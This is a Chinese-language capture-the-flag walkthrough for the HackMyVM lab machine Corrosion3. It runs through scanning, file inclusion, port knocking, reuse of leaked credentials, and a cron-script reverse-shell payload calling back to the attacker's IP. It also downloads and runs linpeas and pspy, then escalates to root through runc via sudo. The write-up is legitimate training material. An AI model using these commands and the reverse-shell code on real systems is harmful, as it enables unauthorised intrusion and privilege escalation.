靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Corrosion3
靶场: HackMyVm.eu
靶机名称: Worrosion3
难度: 简单
发布时间: 2022年2月18日
提示信息:
无
目标: 2个flag
实验环境
攻击机:VMware kali 192.168.7.3
靶机:Vbox linux IP自动获取
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到主机地址为192.168.7.211
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 192.168.7.211 -oN corrosion3.nmap
扫描到22和80两个端口,其中22端口被过滤了,先看看80端口
http://192.168.7.211
打开后是apache2的默认页面,先做个目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.211 -x php,html,txt,zip
扫描到website目录,访问看看
http://192.168.7.211/website
打开后是一个html5网站,源码中发现是TEMPLATE STOCK程序。exploitdb未发现漏洞,再次对website做个目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.211/website -x php,html,txt,zip
发现有logs目录,访问看看
http://192.168.7.211/website/logs
发现2个登录日志,下载下来看看内容
wget http://192.168.7.211/website/logs/login_request.log
wget http://192.168.7.211/website/logs/login_request1.log
下载好打开看看
cat login_request1.log
cat login_request.log
从2个日志中获取到两组账号密码,用post提交登录试试
test:test
randy:RaNDY$SuPer!Secr3etPa$$word
找不到页面,目录扫描中还发现sales_detail.php页面,去访问看看
http://192.168.7.211/website/sales_detail.php
打开后是空白页面,猜测这里需要模糊测试,
wfuzz -c -w ../../Dict/myfuzz/dirtop20000.txt -u http://192.168.7.211/website/sales_detail.php?FUZZ=/etc/passwd |grep -v '0 Ch'
经过各种字典配合参数终于暴出shared这个参数(文件包含漏洞),先来看下passwd文件内容
view-source:http://192.168.7.211/website/sales_detail.php?shared=/etc/passwd
发现randy和bob两个用户,之前看到22端口是有防火墙过滤的,猜测需要端口敲门(Port knocking)技术。来看看能不能读取配置文件
view-source:http://192.168.7.211/website/sales_detail.php?shared=/etc/knockd.conf
敲门端口顺序是1110、2220、333,来验证下
knock 192.168.7.211 1110 2220 3330 -v
检查下端口是否开放
sudo nmap -p 22 192.168.7.211
端口打开了,现SSH连接上去,用之前拿到的两组用户,其中一个与passwd内的用户名相同,验证一下密码是否正确
ssh randy@192.168.7.211
输入密码RaNDY$SuPer!Secr3etPa$$word
SSH登录成功,找一下敏感信息吧
cd /home/bob/
ls
cat user.txt
拿到user.txt,再找找提权信息,没找到上传个辅助提权脚本检查下
1。kali攻击机脚本目录下开启HTTP服务
python3 -m http.server
2。靶机下载辅助提权脚本
cd /tmp
wget http://192.168.7.3:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现一个bob用户的python脚本,去看看
cd /opt
ls -al
cat simpleurlencode.py
脚本很简单,输入、url编码、输出,再上传个pspy64看他会不会自动运行
wget http://192.168.7.3:8000/pspy64
chmod+x pspy64
./pspy64
发现每2分钟以bob(UID=1001)用户执行一次,那我们修改一下这个脚本,让他反弹bob权限的shell
1。kali攻击机监听4444端口
nc -lvvp 4444
2。修改simpleurlencode.py脚本
#!/usr/bin/python3
import urllib.parse
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
string = input("Url Encode String: ")
input = urllib.parse.quote(string)
print("Encoded String: " + input)
修改好后等待2分钟内反弹shell到攻击机上
反弹成功,先切换交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrul+z
stty raw -echo;fg
reset
切换完成,找一下提权信息
sudo -l
可以用root权限执行runc程序 ,可以利用runc运行镜像挂载宿主机的根目录
RunC提权
简单介绍:
RunC 是一个轻量级的工具,它是用来运行容器的
,只用来做这一件事,并且这一件事要做好。
我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。
事实上,runC 是标准化的产物,它根据 OCI 标准来创建和运行容器。
而 OCI(Open Container Initiative)组织,旨在围绕容器格式和运行时制定一个开放的工业化标准
1。创建容器根文件系统
mkdir bundle
2。创建root目录
cd bundle
mkdir rootfs
3。利用runc的spec命令创建默认的配置文件config.json
runc spec
4。修改config.json,在mount下面加入挂载目录
vi config.json
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [ "rbind", "rw", "rprivate" ]
},
准备完毕后就可以提权了
sudo runc run bundle
找一下flag
cd /root
ls
cat root.txt
拿到root.txt,游戏结束